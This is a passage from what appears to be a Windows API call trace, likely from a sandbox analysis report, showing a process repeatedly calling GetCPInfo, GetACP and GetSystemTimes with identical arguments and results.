out: lpCPInfo=0x18fa10) returned 1 [0047.626] GetACP () returned 0x4e4 [0047.626] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.626] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.626] GetACP () returned 0x4e4 [0047.626] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.626] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.626] GetACP () returned 0x4e4 [0047.626] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.626] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.626] GetACP () returned 0x4e4 [0047.626] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.626] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.626] GetACP () returned 0x4e4 [0047.626] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.626] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.626] GetACP () returned 0x4e4 [0047.626] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.626] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.626] GetACP () returned 0x4e4 [0047.626] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.626] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.626] GetACP () returned 0x4e4 [0047.626] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.626] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.626] GetACP () returned 0x4e4 [0047.627] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.627] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.627] GetACP () returned 0x4e4 [0047.627] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.627] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.627] GetACP () returned 0x4e4 [0047.627] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.627] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.627] GetACP () returned 0x4e4 [0047.627] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.627] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.627] GetACP () returned 0x4e4 [0047.627] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.627] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.627] GetACP () returned 0x4e4 [0047.627] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.627] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.627] GetACP () returned 0x4e4 [0047.627] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.627] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.627] GetACP () returned 0x4e4 [0047.627] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.627] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.627] GetACP () returned 0x4e4 [0047.627] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.627] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.627] GetACP () returned 0x4e4 [0047.628] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.628] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.628] GetACP () returned 0x4e4 [0047.628] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.628] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.628] GetACP () returned 0x4e4 [0047.628] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.628] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.628] GetACP () returned 0x4e4 [0047.628] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.628] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.628] GetACP () returned 0x4e4 [0047.628] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.628] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.628] GetACP () returned 0x4e4 [0047.628] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.628] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.628] GetACP () returned 0x4e4 [0047.628] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.628] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.628] GetACP () returned 0x4e4 [0047.628] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.628] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.628] GetACP () returned 0x4e4 [0047.628] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.628] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.629] GetACP () returned 0x4e4 [0047.629] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.629] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.629] GetACP () returned 0x4e4 [0047.629] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.629] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.629] GetACP () returned 0x4e4 [0047.629] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.629] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.629] GetACP () returned 0x4e4 [0047.629] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.629] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.629] GetACP () returned 0x4e4 [0047.629] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.629] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.629] GetACP () returned 0x4e4 [0047.629] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.629] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.629] GetACP () returned 0x4e4 [0047.629] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.629] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.629] GetACP () returned 0x4e4 [0047.629] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.629] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.629] GetACP () returned 0x4e4 [0047.629] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.629] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.630] GetACP () returned 0x4e4 [0047.630] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.630] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.630] GetACP () returned 0x4e4 [0047.630] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.630] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.630] GetACP () returned 0x4e4 [0047.630] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.630] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.630] GetACP () returned 0x4e4 [0047.630] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.630] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.630] GetACP () returned 0x4e4 [0047.630] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.630] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.630] GetACP () returned 0x4e4 [0047.630] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.630] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.630] GetACP () returned 0x4e4 [0047.630] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.630] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.630] GetACP () returned 0x4e4 [0047.630] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.630] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.630] GetACP () returned 0x4e4 [0047.630] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.630] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.631] GetACP () returned 0x4e4 [0047.631] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.631] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.631] GetACP () returned 0x4e4 [0047.631] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.631] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.631] GetACP () returned 0x4e4 [0047.631] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.631] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.631] GetACP () returned 0x4e4 [0047.631] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.631] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.631] GetACP () returned 0x4e4 [0047.631] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.631] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.631] GetACP () returned 0x4e4 [0047.631] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.631] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.631] GetACP () returned 0x4e4 [0047.631] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.631] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.631] GetACP () returned 0x4e4 [0047.631] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.631] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.631] GetACP () returned 0x4e4 [0047.631] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.631] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.632] GetACP () returned 0x4e4 [0047.632] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.632] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.632] GetACP () returned 0x4e4 [0047.632] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.633] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.633] GetACP () returned 0x4e4 [0047.633] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.633] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.633] GetACP () returned 0x4e4 [0047.633] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.633] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.633] GetACP () returned 0x4e4 [0047.633] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.633] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.633] GetACP () returned 0x4e4 [0047.633] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.633] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.633] GetACP () returned 0x4e4 [0047.634] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.634] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.634] GetACP () returned 0x4e4 [0047.634] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.634] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.634] GetACP () returned 0x4e4 [0047.634] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.634] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.634] GetACP () returned 0x4e4 [0047.634] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.634] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.634] GetACP () returned 0x4e4 [0047.634] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.634] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.634] GetACP () returned 0x4e4 [0047.634] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.634] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.634] GetACP () returned 0x4e4 [0047.634] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.634] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.634] GetACP () returned 0x4e4 [0047.634] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.634] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.634] GetACP () returned 0x4e4 [0047.634] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.634] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.634] GetACP () returned 0x4e4 [0047.635] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.635] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.635] GetACP () returned 0x4e4 [0047.635] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.635] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.635] GetACP () returned 0x4e4 [0047.635] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.635] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.635] GetACP () returned 0x4e4 [0047.635] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.635] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.635] GetACP () returned 0x4e4 [0047.635] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.635] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.635] GetACP () returned 0x4e4 [0047.635] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.635] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.635] GetACP () returned 0x4e4 [0047.635] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.635] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.635] GetACP () returned 0x4e4 [0047.635] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0047.635] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0047.635] GetACP () returned 0x4e4 [0047.635] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 